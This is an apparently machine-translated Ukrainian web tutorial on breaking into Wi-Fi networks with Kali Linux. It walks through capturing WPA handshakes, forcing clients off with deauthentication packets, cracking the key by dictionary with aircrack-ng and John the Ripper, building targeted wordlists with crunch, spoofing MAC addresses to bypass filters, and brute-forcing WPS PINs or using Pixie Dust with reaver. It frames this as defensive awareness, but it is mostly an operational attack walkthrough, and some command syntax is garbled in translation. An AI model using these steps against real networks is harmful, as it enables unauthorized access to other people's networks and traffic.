<
  • Главная
Статьи

Злом Wi-Fi мереж, Aircrack-ng, Kali Linux.

  1. WPA / WPA2.
  2. handshake.
  3. Злом.
  4. Можете трохи погратися:
  5. Створення своїх словників.
  6. Обхід фільтра MAC адреси.
  7. Атака на WPS.
  8. Алгоритм атаки:
  9. Все пішло не так!

У цій статті ми познайомимося з популярними методами злому Wi-Fi мереж. Сподіваюся після прочитання, ви зробить безпечнішою свою мережу. Як говориться: попереджений значить озброєний)

WPA / WPA2.

WPA і WPA2 (Wi-Fi Protected Access) власне це протокол авторизації та шифрування даних в Wi-Fi мережах. На даний момент це найпопулярніший, найнадійніший протокол. Часто в домашніх умовах і маленьких мережах використовують WPA2-PSK (Pre-Shared Key). На початку 2018 року міжнародний альянс Wi-Fi Alliance анонсував новий протокол бездротового безпеки - WPA3.

Основний і найпопулярніший метод атаки на цей протокол є брутфорс (метод грубої сили, перебір паролів).

handshake.

Для того, щоб пристрій одержав маркер доступу в мережу, на пристрої необхідно ввести спеціальну парольний фразу, яка називається Pre-Shared Key. Довжина повинна бути від 8 до 32 символів, до того ж можна використовувати спеціальні символи, а також символи національних алфавітів. Після введення парольної фрази вона поміщається в спеціальний пакет асоціації (пакет обміну ключами, handshake), який передається на точку доступу. Якщо парольний фраза вірна, то пристрою видається маркер доступу в мережу.

Вразливістю є можливість перехоплення пакетів handshake, в яких передається Pre-Shared Key при підключенні пристрою до мережі. За скільки Pre-Shared key шифрується, у зловмисника залишається тільки одна можливість - атака грубою силою на захоплені ассоціонние пакети. Також варто звернути увагу, що для того, щоб перехопити handshake зловмисникові зовсім не обов'язково чекати того моменту, як до мережі буде підключено новий пристрій. На деяких бездротових адаптерах, при використанні нестандартних драйверів, є можливість посилки в мережу реассоціонних пакетів, які будуть переривати мережеві з'єднання і ініціювати новий обмін ключами в мережі між клієнтами і точкою доступу. В такому випадку, для того, щоб захопити необхідні пакети, необхідно, щоб до мережі був підключений хоча б один клієнт.

Злом.

У наших прикладів я використовую Kali Linux (Kali Linux - GNU / Linux-LiveCD, що виник як результат злиття WHAX і Auditor Security Collection. Проект створили Мати Ахароні (Mati Aharoni) і Макс Мозер (Max Moser). Призначений насамперед для проведення тестів на безпеку). І покет вже встановлених програм Airocrack-ng (Це повний набір інструментів для оцінки безпеки мережі Wi-Fi.)

Першим етапом нам треба перевести наш Wi-Fi адаптер в режим моніторингу. Тобто чіп адаптера переводитися в режим прослуховування ефіру. Всі пакети які відсилають одне одному в окрузі.

Спочатку ми вб'ємо всі процеси які використовують Wi-Fi інтерфейс:

airmon-ng check kill

Запустіть бездротової інтерфейс в режимі моніторингу:

airmon-ng start wlan0

В результаті у вас з'явитися новий інтерфейс wlan0mon з ним далі ми і будемо працювати (подивитися доступні інтерфейси можна командою ifconfig). Тепер ми можемо подивитися що ж відбувається навколо:

airodump-ng wlan0mon

airodump-ng wlan0mon

  • BSSID - MAC адреса WI-Fi точки.
  • PWR - Сила сигналу.
  • Beacons - Фрейм Бикон (Beacon frame) / Точка доступу WiFi періодично відправляє бікона для анонсування своєї присутності і надання необхідної інформації (SSID, частотний канал, тимчасові маркери для синхронізації пристроїв за часом, підтримувані швидкості, можливості забезпечення QoS і т.п.) всім пристроїв в зоні її покриття. Радіокарти призначених для користувача пристроїв періодично сканують всі канали 802.11 і слухають бікона, як основу для вибору кращої точки доступу для асоціації. Призначені для користувача пристрої зазвичай не посилають бікона, за винятком ситуації, коли виконується процедура участі в IBSS (Independent Basic Service Set) або, по іншому, в Якщо Ви вибрали тимчасовий з'єднанні типу Ad-hoc.
  • CH - Номер каналу точки доступу.
  • ENC- Використовуваний алгоритм. OPN = немає шифрування, «WEP?» = WEP або вище (недостатньо даних для вибору між WEP і WPA / WPA2), WEP (без знака питання) показує статичний або динамічний WEP, і WPA або WPA2 якщо представлені TKIP або CCMP або MGT.
  • CIPHER - Виявлений шифр. Один з CCMP, WRAP, TKIP, WEP, WEP40, або WEP104. Не обов'язково, але зазвичай TKIP використовується з WPA, а CCMP зазвичай використовується з WPA2. WEP40 показується коли індекс ключа більше 0. Стандартні стану: індекс може бути 0-3 для 40 біт і повинен бути 0 для 104 біт.
  • AUTH - Використовуваний протокол аутентифікації. Один з MGT (WPA / WPA2 використовуючи окремий сервер аутентифікації), SKA (загальний ключ для WEP), PSK (попередньо узгоджений ключ для WPA / WPA2) або OPN (відкритий для WEP).
  • ESSID - Так званий SSID, який може бути порожнім, якщо активовано приховування SSID. В цьому випадку airodump-ng спробує відновити SSID з зондирующих запитів асоціювання.
  • STATION - MAC адресу кожної асоційованої клієнта підключеного до точки доступу. Клієнти, зараз не асоційовані з точкою доступу, мають BSSID «(not associated)».
Можете трохи погратися:
airodump-ng -manufacturer -uptime -wps wlan0mon

Запускаємо airodump-ng для бездротового інтерфейсу wlan0mon, крім основної інформації ми задаємо відображати виробника (-manufacturer), час роботи (-uptime) і інформацію про WPS (-wps).

Тепер нам треба перехопити handshake будь-якої точки доступу, бажано звичайно до якої підключені клієнти).

airodump-ng -c 1 -bssid C0: 4A: 00: F0: F4: 24 -w WPA wlan0mon

-c <номер> номер канал.

-Bssid <MAC> мас адреса точки доступу

-w <ім'я або шлях / ім'я> файл в який будуть збережені всі перехоплені пакти.

wlan0mon Назва бездротового інтерфейсу інтерфейсу.

Після вдалого захоплення рукостискань в правому куті буде напис WPA handshake

Після вдалого захоплення рукостискань в правому куті буде напис WPA handshake

До речі ми можемо спробувати прискорити процес, змусивши клієнта перепідключитися до точки доступу:

aireplay-ng -deauth 100 -a 00: 11: 22: 33: 44: 55 -c AA: BB: CC: DD: EE: FF wlan0mon

-Deauth <число повідомлень> - Зробити запит деаунтіфіціровать. (0 необмежене число пакетів)

-a <MAC> - Мас адреса точки доступу.

-з <MAC> - Мас адресу клієнта.

wlan0mon - інтерфейс.

Інші види атак:

--fakeauth затримка: фальшива аутентифікація з ТД (-1)

--interactive: інтерактивний вибір фреймів (-2)

--arpreplay: стандартна повторна відправка запитів ARP (-3)

--chopchop: розшифрувати / порубати WEP пакет (-4)

--fragment: згенерувати валідний потік ключів (-5)

--caffe-latte: запросити клієнта на нові IVs (-6)

--cfrag: фрагментованість щодо клієнта (-7)

--migmode: атаки режим міграції WPA (-8)

--test: тест можливості Інжект і якості з'єднання (-9).

Тепер нам треба розшифрувати його і дізнатися PSK:

aircrack-ng -w wordlist.dic -b C0: 4A: 00: F0: F4: 24 WPA.cap

-w <шлях / файл словника> - Вказуємо словник для перебору паролів.

-b <MAC> - Мас адреса точки доступу.

WPA.cap - Файл з handshake.

cap - Файл з handshake

aircrack-ng всім хороший, але у нього немає функції паузи і запам'ятовування місця де ви зупинилися. Це дуже не зручно коли у вас величезний словник) Ми це справимо програмою John The Ripper (вільна програма, призначена для відновлення паролів за їхніми Хешам. Основне призначення програми - аудит слабких паролів в UNIX системах шляхом перебору можливих варіантов.Она вже є в дистрибутиві) .

john -session = foo -stdout -wordlist = wordlist.dic | aircrack-ng -w - -b 00: 11: 22: 33: 44: 55 WPA.cap

Тобто ми будемо брати паролі зі словника цієї програмної і направляти їх в aircrack-ng.

-Session - Ім'я сесії.

- stdout - Шлях до словника.

Для паузи нам треба натиснути q або ctrl + c. Програма створить спеціальний файл з сесією і запам'ятає місце де ми зупинилися. Продовжити сесію ми можемо командою:

john -restore = foo | aircrack-ng -w - -b 00: 11: 22: 33: 44: 55 WPA.cap

Створення своїх словників.

При атаках типу брутфорс словники відіграють дуже важливу роль. Я думаю ви з легкістю знайдете в інтернеті купа всяких незрозумілих словників. Але ще можна і потрібно робити самому.

Для цього в дистрибутиві Kali Linux є цікава утиліта, називається Crunch. Синтаксис її досить простий:

  • min = мінімальна довжина пароля;
  • max = максимальна довжина;
  • characterset = символи, які будуть використовуватися для генерації паролів;
  • -t <pattern> = можливість створювати патерни. Давай на прикладі. Скажімо, ти знаєш, що у людини день народження 28 липня і ці цифри є в паролі виду 0728, але перед цим числом є ще якісь символи. Тому ти пишеш щось на зразок @@@@@@@ 0728, і виходить, що лист буде згенеровано на 11 -значний пароль. Сім символів, які будуть генериться, а чотири будуть фіксованими. Як на мене, так дуже крута і зручна фішка;
  • -о <outputfile> = вихідний файл для нашого листа.
  • -p = перестановка.
  • -d - обмеження числа послідовно однакових символів.

crunch 4 8

Як сам розумієш, кранч буде генерувати паролі від 4 до 8 символів. Як бачиш, нічого складного, тепер давай що-небудь цікавіше:

crunch 6 8 1234567890 -о /гооt/wordlist.txt

Тут буде згенеровано словник від 6 до 8 символів, в паролі тільки цифри і заллються вони у зовнішній файл, що ми вказали. Залишається тільки скористатися отриманим словником.

crunch 1 + 1 -p Alex Company Position

Словник складається з усіх можливих комбінацій слів Alex, Company і Position.

Словник складається з усіх можливих комбінацій слів Alex, Company і Position

Для тега -t є шаблони:

  • ^ - спецсимволи.
  • @ - букви в нижньому регістрі.
  • , - літери у верхньому регістрі.
  • % - цифри.

Обхід фільтра MAC адреси.

Іноді в точках доступу включають фільтрації по користувача по MAC. Так ось, це зовсім марна штука.

У Linux системах ви можете вільно поміняти ваш МАС адресу на будь-який:

ifconfig wlan0 down
ifconfig wlan0 hw ether 00: 11: 22: AA: AA: AA
ifconfig wlan0 up

Попередньо потрібно відключити будь-які mon-інтерфейси. Перевірити, заробила підміна, можна викликавши ifconfig wlan0 - в рядку Hwaddr повинен бути вказаний вище MAC.

Крім того, в * nix є macchanger - з його допомогою можна виставити себе випадковий MAC. Якщо поставити його в init.d, то ворог буде абсолютно збитий з пантелику, так як при кожному завантаженні наш MAC буде іншим (працює для будь-яких дротових і бездротових адаптерів, як і ifconfig).

# Випадковий MAC:
macchanger -r wlan0
# Певний MAC:
macchanger -m 11: 22: 33: AA: BB: CC wlan0
# Показати MAC:
macchanger -s wlan0

У Kali Linux є база даних валідних MAC адрес:

  • /var/lib/ieee-data/oui.txt
  • /var/lib/ieee-data/oui36.txt.
  • /var/lib/ieee-data/iab.txt
  • /var/lib/ieee-data/mam.txt

А оновити базу даних можна командою

airodump-ng-oui-update

Атака на WPS.

Wi-Fi Protected Setup (захищена установка), WPS - стандарт (і однойменний протокол) напівавтоматичного створення бездротової мережі Wi-Fi.

У грудні 2011 Стефан Фібёк (англ. Stefan Viehböck) і Крейг Хеффнер (англ. Craig Heffner) розповіли про серйозні діри в протоколі WPS. Виявилося, що якщо в точці доступу активований WPS c PIN (який за замовчуванням включений в більшості роутерів), то підібрати PIN-код для підключення можна за лічені години.

PIN-код складається з восьми цифр - отже, існує 108 (100 000 000) варіантів PIN-коду для підбору. Однак кількість варіантів можна істотно скоротити. Справа в тому, що остання цифра PIN-коду є контрольну суму, яка можна обчислити на підставі перших семи цифр. Таким чином кількість варіантів вже скорочується до 107 (10 000 000).

Авторизація по WPS передбачає відправку клієнтом послідовності цифр PIN-коду і пакетів M4 або M6 і відповіді на них від базової станції. Якщо перші 4 цифри PIN-коду некоректні то отримавши їх точка доступу відправить EAP-NACK відразу після отримання M4, а якщо була помилка в останніх 3 цифрах правій частині (8-е число не вважаємо так як воно легко генерується атакуючим за формулою) - то після отримання M6. Таким чином, недолік протоколу дозволяє розділити PIN-код на дві частини, 4 початкові цифри і 3 наступні.

Також були виявлені вразливості в генераторі випадкових чисел маршрутизаторів деяких виробників. Уразливість отримала назву pixie dust. Для вразливих роутерів можна отримати pin після першої спроби і оффлайн-брутфорса.

Алгоритм атаки:

  • Переводимо бездротової інтерфейс в режим монітора.
  • Шукаємо цілі для атаки.
  • Перевіряємо на схильність Pixie Dust.
  • Запускаємо повний перебір, якщо попередні кроки не дали результату.
  • Якщо отриманий СІН, але не показаний WPA пароль, то запускаємо команди для отримання пароля від Wi-Fi.

Для пошуку точок доступу можемо скористатися зручною програмою Wash. Wash - це утиліта для ідентифікації точок доступу з включеним WPS. Вона може шукати з живого інтерфейсу і вже є в Kali Linux.

wash -i wlan0

Або може сканувати список pcap файлів:

wash -f capture1.pcap

pcap

Нас цікавить опція Lck (No не блокувати WPS) і Vendor (виробник). Pixie Dust схильні Ralink, Broadcom і Realtek.

Перейдемо до пункту Pixie Dust. Для перевірки ми будемо використовувати програму reaver (Reaver призначений для вибірки Піна WPS (Wifi Protected Setup) методом перебору. Вже є в Kali Linux).

reaver -i інтерфейс -b MAC_адрес_точкі -K

reaver -i інтерфейс -b MAC_адрес_точкі -K

Як можна побачити на скріншоті, Точка Доступу виявилася вразливою, і отриманий її WPS пін.

Тепер нам треба дізнатися пароль. Для отримання пароля Wi-Fi мережі вам потрібно в Reaver використовувати опцію -p, після якої вказати відомий ПІН.

reaver -i wlan0 -b EE: 43: F6: CF: C3: 08 -p 36158805

Все пішло не так!

Спробуємо відразу вдарить молотком і запустимо повний перебір Піна.

reaver -i інтерфейс -b MAC_адрес

Перебір WPS пинов може йти невдало з багатьох причин, тому для більш детального виводу, щоб визначити, в чому проблема, використовуються опції -v, -vv або -vvv. Як можна здогадатися, чим більше букв v, тим більше буде виведено докладної інформації.

При повному переборі reaver показує але тільки WPS але пароль доступу до WiFi. для отримання пароля Wi-Fi мережі вам потрібно в Reaver використовувати опцію -p, після якої вказати відомий ПІН.

Якщо будуть якісь проблеми можна пограти з додатковими опціями reaver, наприклад так:

reaver -i wlan0mon -c 6 -a MAC -no-nacks -T .5 -d 15

-No-nacks Не надсилати повідомлення NACK коли отримані пакети про несправності.

-c <> Номер каналу точки доступу.

-T <> Встановити період таймаута M5 / M7 за замовчуванням [0.20].

-d <> Встановити затримку між спробами Піна, за замовчуванням [1]

-x <> Встановити час для паузи після 10 несподіваних невдач, за замовчуванням [0].

* Особлива замітка: якщо ви атакуєте ТД Realtek, НЕ використовуйте малі ключі DH (-S)

Повний список опцій:

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]> Required Arguments: -i, --interface = <wlan> Name of the monitor-mode interface to use -b, --bssid = <mac > BSSID of the target AP Optional Arguments: -m, --mac = <mac> MAC of the host system -e, --essid = <ssid> ESSID of the target AP -c, --channel = <channel> Set the 802.11 channel for the interface (implies -f) -s, --session = <file> Restore a previous session file -C, --exec = <command> Execute the supplied command upon successful pin recovery -f, --fixed Disable channel hopping -5, --5ghz Use 5GHz 802.11 channels -v, --verbose Display non-critical warnings (-vv or -vvv for more) -q, --quiet Only display critical messages -h, --help Show help Advanced Options: -p, --pin = <wps pin> Use the specified pin (may be arbitrary string or 4/8 digit WPS pin) -d, --delay = <seconds> Set the delay between pin attempts [1 ] -l, --lock-delay = <seconds> Set the time to wait if the AP locks WPS pin attempts [60] -g, --max-attempts = <Num> Quit after num pin attempts -x, --fail-wait = <seconds> Set the time to sleep after 10 unexpected failures [0] -r, --recurring-delay = <x: y> Sleep for y seconds every x pin attempts -t, --timeout = <seconds> Set the receive timeout period [10] -T, --m57-timeout = <seconds> Set the M5 / M7 timeout period [0.40] -A, --no -associate Do not associate with the AP (association must be done by another application) -N, --no-nacks Do not send NACK messages when out of order packets are received -S, --dh-small Use small DH keys to improve crack speed -L, --ignore-locks Ignore locked state reported by the target AP -E, --eap-terminate Terminate each WPS session with an EAP FAIL packet -J, --timeout-is-nack Treat timeout as NACK (DIR-300/320) -F, --ignore-fcs Ignore frame checksum errors -w, --win7 Mimic a Windows 7 registrar [False] -K, --pixie-dust Run pixiedust attack -Z Run pixiedust attack

Можливо ці статті будуть вам цікаві.

OPN = немає шифрування, «WEP?


Новости
  • Виртуальный хостинг

    Виртуальный хостинг. Возможности сервера распределяются в равной мере между всеми... 
    Читать полностью

  • Редизайн сайта

    Редизайн сайта – это полное либо частичное обновление дизайна существующего сайта.... 
    Читать полностью

  • Консалтинг, услуги контент-менеджера

    Сопровождение любых интернет ресурсов;- Знание HTML и CSS- Поиск и обновление контента;-... 
    Читать полностью

  • Трафик из соцсетей

    Сравнительно дешевый способ по сравнению с поисковым и контекстным видами раскрутки... 
    Читать полностью

  • Поисковая оптимизация

    Поисковая оптимизация (англ. search engine optimization, SEO) — поднятие позиций сайта в результатах... 
    Читать полностью